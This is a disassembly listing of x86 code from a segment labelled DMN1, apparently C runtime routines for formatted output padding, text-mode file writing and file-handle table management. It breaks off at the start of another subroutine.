; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44C751 proc near ; CODE XREF: sub_44ABC1+25Ap
; sub_44D291+D7p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov eax, [ebx+34h]
sub eax, [ebx+14h]
sub eax, [ebx+18h]
sub eax, [ebx+1Ch]
sub eax, [ebx+20h]
sub eax, [ebx+24h]
sub eax, [ebx+28h]
mov [ebp+var_4], eax
test word ptr [ebx+38h], 4
jnz short loc_44C7D0
cmp [ebp+var_4], 0
jle short loc_44C7D0
mov esi, [ebp+var_4]
jmp short loc_44C7CC
; ---------------------------------------------------------------------------
loc_44C788: ; CODE XREF: sub_44C751+7Dj
cmp esi, 20h
jbe short loc_44C796
mov [ebp+var_8], 20h
jmp short loc_44C79B
; ---------------------------------------------------------------------------
loc_44C796: ; CODE XREF: sub_44C751+3Aj
mov eax, esi
mov [ebp+var_8], eax
loc_44C79B: ; CODE XREF: sub_44C751+43j
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_44C7CA
push edi
push offset asc_40FE08 ; " "
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_44C7C2
add [ebx+30h], edi
jmp short loc_44C7CA
; ---------------------------------------------------------------------------
loc_44C7C2: ; CODE XREF: sub_44C751+6Aj
or eax, 0FFFFFFFFh
jmp loc_44C9B8
; ---------------------------------------------------------------------------
loc_44C7CA: ; CODE XREF: sub_44C751+51j
; sub_44C751+6Fj
sub esi, edi
loc_44C7CC: ; CODE XREF: sub_44C751+35j
test esi, esi
jg short loc_44C788
loc_44C7D0: ; CODE XREF: sub_44C751+2Aj
; sub_44C751+30j
cmp dword ptr [ebx+14h], 0
jle short loc_44C801
mov eax, [ebx+14h]
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_44C7F9
mov eax, [ebx+14h]
add [ebx+30h], eax
jmp short loc_44C801
; ---------------------------------------------------------------------------
loc_44C7F9: ; CODE XREF: sub_44C751+9Ej
or eax, 0FFFFFFFFh
jmp loc_44C9B8
; ---------------------------------------------------------------------------
loc_44C801: ; CODE XREF: sub_44C751+83j
; sub_44C751+A6j
cmp dword ptr [ebx+18h], 0
jle short loc_44C854
mov esi, [ebx+18h]
jmp short loc_44C850
; ---------------------------------------------------------------------------
loc_44C80C: ; CODE XREF: sub_44C751+101j
cmp esi, 20h
jbe short loc_44C81A
mov [ebp+var_8], 20h
jmp short loc_44C81F
; ---------------------------------------------------------------------------
loc_44C81A: ; CODE XREF: sub_44C751+BEj
mov eax, esi
mov [ebp+var_8], eax
loc_44C81F: ; CODE XREF: sub_44C751+C7j
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_44C84E
push edi
push offset a00000000000000 ; "00000000000000000000000000000000"
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_44C846
add [ebx+30h], edi
jmp short loc_44C84E
; ---------------------------------------------------------------------------
loc_44C846: ; CODE XREF: sub_44C751+EEj
or eax, 0FFFFFFFFh
jmp loc_44C9B8
; ---------------------------------------------------------------------------
loc_44C84E: ; CODE XREF: sub_44C751+D5j
; sub_44C751+F3j
sub esi, edi
loc_44C850: ; CODE XREF: sub_44C751+B9j
test esi, esi
jg short loc_44C80C
loc_44C854: ; CODE XREF: sub_44C751+B4j
cmp dword ptr [ebx+1Ch], 0
jle short loc_44C885
mov eax, [ebx+1Ch]
push eax
mov eax, [ebx+10h]
push eax
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_44C87D
mov eax, [ebx+1Ch]
add [ebx+30h], eax
jmp short loc_44C885
; ---------------------------------------------------------------------------
loc_44C87D: ; CODE XREF: sub_44C751+122j
or eax, 0FFFFFFFFh
jmp loc_44C9B8
; ---------------------------------------------------------------------------
loc_44C885: ; CODE XREF: sub_44C751+107j
; sub_44C751+12Aj
cmp dword ptr [ebx+20h], 0
jle short loc_44C8D8
mov esi, [ebx+20h]
jmp short loc_44C8D4
; ---------------------------------------------------------------------------
loc_44C890: ; CODE XREF: sub_44C751+185j
cmp esi, 20h
jbe short loc_44C89E
mov [ebp+var_8], 20h
jmp short loc_44C8A3
; ---------------------------------------------------------------------------
loc_44C89E: ; CODE XREF: sub_44C751+142j
mov eax, esi
mov [ebp+var_8], eax
loc_44C8A3: ; CODE XREF: sub_44C751+14Bj
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_44C8D2
push edi
push offset a00000000000000 ; "00000000000000000000000000000000"
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_44C8CA
add [ebx+30h], edi
jmp short loc_44C8D2
; ---------------------------------------------------------------------------
loc_44C8CA: ; CODE XREF: sub_44C751+172j
or eax, 0FFFFFFFFh
jmp loc_44C9B8
; ---------------------------------------------------------------------------
loc_44C8D2: ; CODE XREF: sub_44C751+159j
; sub_44C751+177j
sub esi, edi
loc_44C8D4: ; CODE XREF: sub_44C751+13Dj
test esi, esi
jg short loc_44C890
loc_44C8D8: ; CODE XREF: sub_44C751+138j
cmp dword ptr [ebx+24h], 0
jle short loc_44C90E
mov eax, [ebx+24h]
push eax
mov eax, [ebx+1Ch]
mov edx, [ebx+10h]
add eax, edx
push eax
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_44C906
mov eax, [ebx+24h]
add [ebx+30h], eax
jmp short loc_44C90E
; ---------------------------------------------------------------------------
loc_44C906: ; CODE XREF: sub_44C751+1ABj
or eax, 0FFFFFFFFh
jmp loc_44C9B8
; ---------------------------------------------------------------------------
loc_44C90E: ; CODE XREF: sub_44C751+18Bj
; sub_44C751+1B3j
cmp dword ptr [ebx+28h], 0
jle short loc_44C95E
mov esi, [ebx+28h]
jmp short loc_44C95A
; ---------------------------------------------------------------------------
loc_44C919: ; CODE XREF: sub_44C751+20Bj
cmp esi, 20h
jbe short loc_44C927
mov [ebp+var_8], 20h
jmp short loc_44C92C
; ---------------------------------------------------------------------------
loc_44C927: ; CODE XREF: sub_44C751+1CBj
mov eax, esi
mov [ebp+var_8], eax
loc_44C92C: ; CODE XREF: sub_44C751+1D4j
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_44C958
push edi
push offset a00000000000000 ; "00000000000000000000000000000000"
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_44C953
add [ebx+30h], edi
jmp short loc_44C958
; ---------------------------------------------------------------------------
loc_44C953: ; CODE XREF: sub_44C751+1FBj
or eax, 0FFFFFFFFh
jmp short loc_44C9B8
; ---------------------------------------------------------------------------
loc_44C958: ; CODE XREF: sub_44C751+1E2j
; sub_44C751+200j
sub esi, edi
loc_44C95A: ; CODE XREF: sub_44C751+1C6j
test esi, esi
jg short loc_44C919
loc_44C95E: ; CODE XREF: sub_44C751+1C1j
test word ptr [ebx+38h], 4
jz short loc_44C9B6
cmp [ebp+var_4], 0
jle short loc_44C9B6
mov esi, [ebp+var_4]
jmp short loc_44C9B2
; ---------------------------------------------------------------------------
loc_44C971: ; CODE XREF: sub_44C751+263j
cmp esi, 20h
jbe short loc_44C97F
mov [ebp+var_8], 20h
jmp short loc_44C984
; ---------------------------------------------------------------------------
loc_44C97F: ; CODE XREF: sub_44C751+223j
mov eax, esi
mov [ebp+var_8], eax
loc_44C984: ; CODE XREF: sub_44C751+22Cj
mov eax, [ebp+var_8]
mov edi, eax
test edi, edi
jle short loc_44C9B0
push edi
push offset asc_40FE08 ; " "
mov eax, [ebx+0Ch]
push eax
call dword ptr [ebx+8]
add esp, 0Ch
lea edx, [ebx+0Ch]
mov [edx], eax
test eax, eax
jz short loc_44C9AB
add [ebx+30h], edi
jmp short loc_44C9B0
; ---------------------------------------------------------------------------
loc_44C9AB: ; CODE XREF: sub_44C751+253j
or eax, 0FFFFFFFFh
jmp short loc_44C9B8
; ---------------------------------------------------------------------------
loc_44C9B0: ; CODE XREF: sub_44C751+23Aj
; sub_44C751+258j
sub esi, edi
loc_44C9B2: ; CODE XREF: sub_44C751+21Ej
test esi, esi
jg short loc_44C971
loc_44C9B6: ; CODE XREF: sub_44C751+213j
; sub_44C751+219j
xor eax, eax
loc_44C9B8: ; CODE XREF: sub_44C751+74j
; sub_44C751+ABj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44C751 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44C9C1 proc near ; CODE XREF: sub_44AF01+101p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+arg_4]
mov eax, ebx
and eax, 3
mov esi, dword_40FE4C[eax*4]
test ebx, 4
jz short loc_44C9E0
or esi, 8
loc_44C9E0: ; CODE XREF: sub_44C9C1+1Aj
test ebx, 8
jz short loc_44C9EE
or esi, 200h
loc_44C9EE: ; CODE XREF: sub_44C9C1+25j
test ebx, 10h
jz short loc_44C9FC
or esi, 100h
loc_44C9FC: ; CODE XREF: sub_44C9C1+33j
test ebx, 20h
jz short loc_44CA0C
or esi, 8000h
jmp short loc_44CA12
; ---------------------------------------------------------------------------
loc_44CA0C: ; CODE XREF: sub_44C9C1+41j
or esi, 4000h
loc_44CA12: ; CODE XREF: sub_44C9C1+49j
push 180h
push esi
mov eax, [ebp+arg_0]
push eax
call sub_44DC91
add esp, 0Ch
pop esi
pop ebx
pop ebp
retn
sub_44C9C1 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44CA31 proc near ; CODE XREF: sub_44B051+Dp
push 6
call sub_44E0A1
pop ecx
push 1
call sub_449DC1
pop ecx
retn
sub_44CA31 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44CA51 proc near ; CODE XREF: sub_44CC41+4Bp
; sub_44F031+ADp
var_411 = byte ptr -411h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
push ebx
push esi
push edi
mov [ebp+var_C], 0
mov [ebp+var_4], 0
cmp [ebp+arg_8], 0
jnz short loc_44CA78
xor eax, eax
jmp loc_44CC3A
; ---------------------------------------------------------------------------
loc_44CA78: ; CODE XREF: sub_44CA51+1Ej
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
test byte ptr [eax+edx+4], 20h
jz short loc_44CAA4
push 2
push 0
mov eax, [ebp+arg_0]
push eax
call sub_44E1D1
add esp, 0Ch
loc_44CAA4: ; CODE XREF: sub_44CA51+41j
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
test byte ptr [eax+edx+4], 80h
jz loc_44CB85
mov esi, [ebp+arg_4]
mov [ebp+var_10], 0
jmp loc_44CB71
; ---------------------------------------------------------------------------
loc_44CAD3: ; CODE XREF: sub_44CA51+12Cj
lea edi, [ebp+var_411]
jmp short loc_44CAF3
; ---------------------------------------------------------------------------
loc_44CADB: ; CODE XREF: sub_44CA51+C0j
mov eax, esi
inc esi
mov bl, [eax]
cmp bl, 0Ah
jnz short loc_44CAEE
inc [ebp+var_4]
mov eax, edi
inc edi
mov byte ptr [eax], 0Dh
loc_44CAEE: ; CODE XREF: sub_44CA51+92j
mov eax, edi
inc edi
mov [eax], bl
loc_44CAF3: ; CODE XREF: sub_44CA51+88j
lea eax, [ebp+var_411]
mov edx, edi
sub edx, eax
cmp edx, 400h
jge short loc_44CB13
mov eax, [ebp+arg_4]
mov edx, esi
sub edx, eax
mov eax, edx
cmp eax, [ebp+arg_8]
jb short loc_44CADB
loc_44CB13: ; CODE XREF: sub_44CA51+B2j
push 0
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_411]
mov edx, edi
sub edx, eax
mov eax, edx
push eax
lea eax, [ebp+var_411]
push eax
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
mov eax, [eax+edx]
push eax
call dword_411E08
test eax, eax
jz short loc_44CB66
mov eax, [ebp+var_8]
add [ebp+var_C], eax
lea edx, [ebp+var_411]
mov ecx, edi
sub ecx, edx
cmp eax, ecx
jge short loc_44CB71
jmp short loc_44CBCE
; ---------------------------------------------------------------------------
loc_44CB66: ; CODE XREF: sub_44CA51+FDj
call dword_411CE8
mov [ebp+var_10], eax
jmp short loc_44CBCE
; ---------------------------------------------------------------------------
loc_44CB71: ; CODE XREF: sub_44CA51+7Dj
; sub_44CA51+111j
mov eax, [ebp+arg_4]
mov edx, esi
sub edx, eax
mov eax, edx
cmp eax, [ebp+arg_8]
jb loc_44CAD3
jmp short loc_44CBCE
; ---------------------------------------------------------------------------
loc_44CB85: ; CODE XREF: sub_44CA51+6Dj
push 0
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
mov eax, [eax+edx]
push eax
call dword_411E08
test eax, eax
jz short loc_44CBC5
mov [ebp+var_10], 0
mov eax, [ebp+var_8]
mov [ebp+var_C], eax
jmp short loc_44CBCE
; ---------------------------------------------------------------------------
loc_44CBC5: ; CODE XREF: sub_44CA51+163j
call dword_411CE8
mov [ebp+var_10], eax
loc_44CBCE: ; CODE XREF: sub_44CA51+113j
; sub_44CA51+11Ej ...
cmp [ebp+var_C], 0
jnz short loc_44CC34
cmp [ebp+var_10], 0
jz short loc_44CBFC
cmp [ebp+var_10], 5
jnz short loc_44CBED
call sub_44A781
mov dword ptr [eax], 9
jmp short loc_44CBF7
; ---------------------------------------------------------------------------
loc_44CBED: ; CODE XREF: sub_44CA51+18Dj
mov eax, [ebp+var_10]
push eax
call sub_44A621
pop ecx
loc_44CBF7: ; CODE XREF: sub_44CA51+19Aj
or eax, 0FFFFFFFFh
jmp short loc_44CC3A
; ---------------------------------------------------------------------------
loc_44CBFC: ; CODE XREF: sub_44CA51+187j
mov eax, [ebp+arg_0]
mov edx, eax
and edx, 1Fh
imul edx, 24h
sar eax, 5
mov eax, dword_413988[eax*4]
test byte ptr [eax+edx+4], 40h
jz short loc_44CC24
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jnz short loc_44CC24
xor eax, eax
jmp short loc_44CC3A
; ---------------------------------------------------------------------------
loc_44CC24: ; CODE XREF: sub_44CA51+1C5j
; sub_44CA51+1CDj
call sub_44A781
mov dword ptr [eax], 1Ch
or eax, 0FFFFFFFFh
jmp short loc_44CC3A
; ---------------------------------------------------------------------------
loc_44CC34: ; CODE XREF: sub_44CA51+181j
mov eax, [ebp+var_C]
sub eax, [ebp+var_4]
loc_44CC3A: ; CODE XREF: sub_44CA51+22j
; sub_44CA51+1A9j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44CA51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44CC41 proc near ; CODE XREF: sub_44B081+79p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+arg_0]
cmp ebx, dword_413A88
jnb short loc_44CC6C
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_44CC7C
loc_44CC6C: ; CODE XREF: sub_44CC41+Ej
call sub_44A781
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_44CC9F
; ---------------------------------------------------------------------------
loc_44CC7C: ; CODE XREF: sub_44CC41+29j
push ebx
call sub_44D061
pop ecx
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_4]
push eax
push ebx
call sub_44CA51
add esp, 0Ch
mov esi, eax
push ebx
call sub_44D0C1
pop ecx
mov eax, esi
loc_44CC9F: ; CODE XREF: sub_44CC41+39j
pop esi
pop ebx
pop ebp
retn
sub_44CC41 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44CCB1 proc near ; CODE XREF: DMN1:loc_44D00Bp
; sub_44DCC1:loc_44DEBEp
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
or edi, 0FFFFFFFFh
push 4
call sub_44AB21
pop ecx
xor esi, esi
loc_44CCC7: ; CODE XREF: sub_44CCB1+128j
cmp dword_413988[esi*4], 0
jz loc_44CD7E
mov ebx, dword_413988[esi*4]
jmp loc_44CD63
; ---------------------------------------------------------------------------
loc_44CCE1: ; CODE XREF: sub_44CCB1+C0j
test byte ptr [ebx+4], 1
jnz short loc_44CD60
cmp dword ptr [ebx+8], 0
jnz short loc_44CD10
push 3
call sub_44AB21
pop ecx
cmp dword ptr [ebx+8], 0
jnz short loc_44CD08
lea eax, [ebx+0Ch]
push eax
call dword_411CC8
inc dword ptr [ebx+8]
loc_44CD08: ; CODE XREF: sub_44CCB1+48j
push 3
call sub_44ABA1
pop ecx
loc_44CD10: ; CODE XREF: sub_44CCB1+3Aj
lea eax, [ebx+0Ch]
push eax
call dword_411CCC
test byte ptr [ebx+4], 1
jz short loc_44CD2C
lea eax, [ebx+0Ch]
push eax
call dword_411CD0
jmp short loc_44CD60
; ---------------------------------------------------------------------------
loc_44CD2C: ; CODE XREF: sub_44CCB1+6Dj
mov dword ptr [ebx], 0FFFFFFFFh
mov eax, esi
shl eax, 5
mov [ebp+var_4], eax
mov edx, dword_413988[esi*4]
mov ecx, ebx
sub ecx, edx
mov eax, ecx
push eax
mov edx, 38E38E39h
imul edx
pop eax
shr eax, 1Fh
sar edx, 3
add eax, edx
mov edx, [ebp+var_4]
lea edi, [eax+edx]
jmp short loc_44CD77
; ---------------------------------------------------------------------------
loc_44CD60: ; CODE XREF: sub_44CCB1+34j
; sub_44CCB1+79j
add ebx, 24h
loc_44CD63: ; CODE XREF: sub_44CCB1+2Bj
mov eax, dword_413988[esi*4]
add eax, 480h
cmp ebx, eax
jb loc_44CCE1
loc_44CD77: ; CODE XREF: sub_44CCB1+ADj
cmp edi, 0FFFFFFFFh
jz short loc_44CDD5
jmp short loc_44CDDF
; ---------------------------------------------------------------------------
loc_44CD7E: ; CODE XREF: sub_44CCB1+1Ej
push 480h
call sub_44A581
pop ecx
mov ebx, eax
test eax, eax
jz short loc_44CDDF
mov dword_413988[esi*4], ebx
add dword_413A88, 20h
jmp short loc_44CDB7
; ---------------------------------------------------------------------------
loc_44CD9F: ; CODE XREF: sub_44CCB1+114j
mov byte ptr [ebx+4], 0
mov dword ptr [ebx], 0FFFFFFFFh
mov byte ptr [ebx+5], 0Ah
mov dword ptr [ebx+8], 0
add ebx, 24h
loc_44CDB7: ; CODE XREF: sub_44CCB1+ECj
mov eax, dword_413988[esi*4]
add eax, 480h
cmp ebx, eax
jb short loc_44CD9F
mov edi, esi
shl edi, 5
push edi
call sub_44D061
pop ecx
jmp short loc_44CDDF
; ---------------------------------------------------------------------------
loc_44CDD5: ; CODE XREF: sub_44CCB1+C9j
inc esi
cmp esi, 40h
jl loc_44CCC7
loc_44CDDF: ; CODE XREF: sub_44CCB1+CBj
; sub_44CCB1+DCj ...
push 4
call sub_44ABA1
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44CCB1 endp
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
sub_44CDF1 proc near ; CODE XREF: sub_44B161+5Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, dword_413A88
jnb loc_44CE80
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
add eax, edx
test byte ptr [eax+4], 1
jz short loc_44CE80
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_44CE80
test ebx, ebx
jz short loc_44CE36
cmp ebx, 1
jz short loc_44CE45
cmp ebx, 2
jz short loc_44CE54
jmp short loc_44CE61
; ---------------------------------------------------------------------------
loc_44CE36: ; CODE XREF: sub_44CDF1+37j
push 0
push 0FFFFFFF6h
call dword_411E0C
jmp short loc_44CE61
; ---------------------------------------------------------------------------
loc_44CE45: ; CODE XREF: sub_44CDF1+3Cj
push 0
push 0FFFFFFF5h
call dword_411E0C
jmp short loc_44CE61
; ---------------------------------------------------------------------------
loc_44CE54: ; CODE XREF: sub_44CDF1+41j
push 0
push 0FFFFFFF4h
call dword_411E0C
loc_44CE61: ; CODE XREF: sub_44CDF1+43j
; sub_44CDF1+52j ...
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov dword ptr [edx+eax], 0FFFFFFFFh
xor eax, eax
jmp short loc_44CE8E
; ---------------------------------------------------------------------------
loc_44CE80: ; CODE XREF: sub_44CDF1+Bj
; sub_44CDF1+2Bj ...
call sub_44A781
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
loc_44CE8E: ; CODE XREF: sub_44CDF1+8Dj
pop ebx
retn
sub_44CDF1 endp
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
sub_44CE91 proc near ; CODE XREF: DMN1:0044D02Dp
; sub_44DCC1+2B4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, dword_413A88
jnb loc_44CF22
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
cmp dword ptr [edx+eax], 0FFFFFFFFh
jnz short loc_44CF22
test ebx, ebx
jz short loc_44CECF
cmp ebx, 1
jz short loc_44CEE1
cmp ebx, 2
jz short loc_44CEF3
jmp short loc_44CF03
; ---------------------------------------------------------------------------
loc_44CECF: ; CODE XREF: sub_44CE91+30j
mov eax, [esp+4+arg_4]
push eax
push 0FFFFFFF6h
call dword_411E0C
jmp short loc_44CF03
; ---------------------------------------------------------------------------
loc_44CEE1: ; CODE XREF: sub_44CE91+35j
mov eax, [esp+4+arg_4]
push eax
push 0FFFFFFF5h
call dword_411E0C
jmp short loc_44CF03
; ---------------------------------------------------------------------------
loc_44CEF3: ; CODE XREF: sub_44CE91+3Aj
mov eax, [esp+4+arg_4]
push eax
push 0FFFFFFF4h
call dword_411E0C
loc_44CF03: ; CODE XREF: sub_44CE91+3Cj
; sub_44CE91+4Ej ...
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov ecx, [esp+4+arg_4]
mov [edx+eax], ecx
xor eax, eax
jmp short loc_44CF30
; ---------------------------------------------------------------------------
loc_44CF22: ; CODE XREF: sub_44CE91+Bj
; sub_44CE91+2Cj
call sub_44A781
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
loc_44CF30: ; CODE XREF: sub_44CE91+8Fj
pop ebx
retn
sub_44CE91 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; =============== S U B R O U T I N E =======================================
sub_44CF41 proc near ; CODE XREF: sub_44B161+Cp
; sub_44B161+25p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, dword_413A88
jnb short loc_44CF82
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jz short loc_44CF82
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov eax, [edx+eax]
jmp short loc_44CF90
; ---------------------------------------------------------------------------
loc_44CF82: ; CODE XREF: sub_44CF41+Bj
; sub_44CF41+26j
call sub_44A781
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
loc_44CF90: ; CODE XREF: sub_44CF41+3Fj
pop ebx
retn
sub_44CF41 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; ---------------------------------------------------------------------------
mov eax, [esp+4]
push eax
call sub_44CF41
pop ecx
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
xor bl, bl
test byte ptr [esp+14h], 8
jz short loc_44CFC0
or bl, 20h
loc_44CFC0: ; CODE XREF: DMN1:0044CFBBj
test word ptr [esp+14h], 4000h
jz short loc_44CFCC
or bl, 80h
loc_44CFCC: ; CODE XREF: DMN1:0044CFC7j
test byte ptr [esp+14h], 80h
jz short loc_44CFD6
or bl, 10h
loc_44CFD6: ; CODE XREF: DMN1:0044CFD1j
mov eax, [esp+10h]
push eax
call dword_411DEC
mov edi, eax
test edi, edi
jnz short loc_44CFF9
call dword_411CE8
push eax
call sub_44A621
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_44D052
; ---------------------------------------------------------------------------
loc_44CFF9: ; CODE XREF: DMN1:0044CFE5j
cmp edi, 2
jnz short loc_44D003
or bl, 40h
jmp short loc_44D00B
; ---------------------------------------------------------------------------
loc_44D003: ; CODE XREF: DMN1:0044CFFCj
cmp edi, 3
jnz short loc_44D00B
or bl, 8
loc_44D00B: ; CODE XREF: DMN1:0044D001j
; DMN1:0044D006j
call sub_44CCB1
mov esi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_44D027
call sub_44A781
mov dword ptr [eax], 18h
or eax, 0FFFFFFFFh
jmp short loc_44D052
; ---------------------------------------------------------------------------
loc_44D027: ; CODE XREF: DMN1:0044D015j
mov eax, [esp+10h]
push eax
push esi
call sub_44CE91
add esp, 8
or bl, 1
mov eax, esi
and eax, 1Fh
imul eax, 24h
mov edx, esi
sar edx, 5
mov edx, dword_413988[edx*4]
mov [edx+eax+4], bl
mov eax, esi
loc_44D052: ; CODE XREF: DMN1:0044CFF7j
; DMN1:0044D025j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44D061 proc near ; CODE XREF: sub_44B201+3Ap
; sub_44CC41+3Cp ...
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea esi, [edx+eax]
cmp dword ptr [esi+8], 0
jnz short loc_44D0A7
push 3
call sub_44AB21
pop ecx
cmp dword ptr [esi+8], 0
jnz short loc_44D09F
lea eax, [esi+0Ch]
push eax
call dword_411CC8
inc dword ptr [esi+8]
loc_44D09F: ; CODE XREF: sub_44D061+2Fj
push 3
call sub_44ABA1
pop ecx
loc_44D0A7: ; CODE XREF: sub_44D061+21j
lea eax, [esi+0Ch]
push eax
call dword_411CCC
pop esi
pop ebx
retn
sub_44D061 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44D0C1 proc near ; CODE XREF: sub_44B201+4Ap
; sub_44CC41+56p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+0Ch]
push eax
call dword_411CD0
pop ebx
retn
sub_44D0C1 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebx
push 1
push 2
call sub_44D131
add esp, 8
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_44D10C
test ebx, ebx
jnz short loc_44D110
loc_44D10C: ; CODE XREF: DMN1:0044D106j
xor eax, eax
jmp short loc_44D12B
; ---------------------------------------------------------------------------
loc_44D110: ; CODE XREF: DMN1:0044D10Aj
cmp ebx, 1
jz short loc_44D126
push 0
push 2
call sub_44D131
add esp, 8
push 2
call ebx
pop ecx
loc_44D126: ; CODE XREF: DMN1:0044D113j
mov eax, 1
loc_44D12B: ; CODE XREF: DMN1:0044D10Ej
pop ebx
retn 4
; ---------------------------------------------------------------------------
db 89h, 0FFh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44D131 proc near ; CODE XREF: sub_44B581+18p
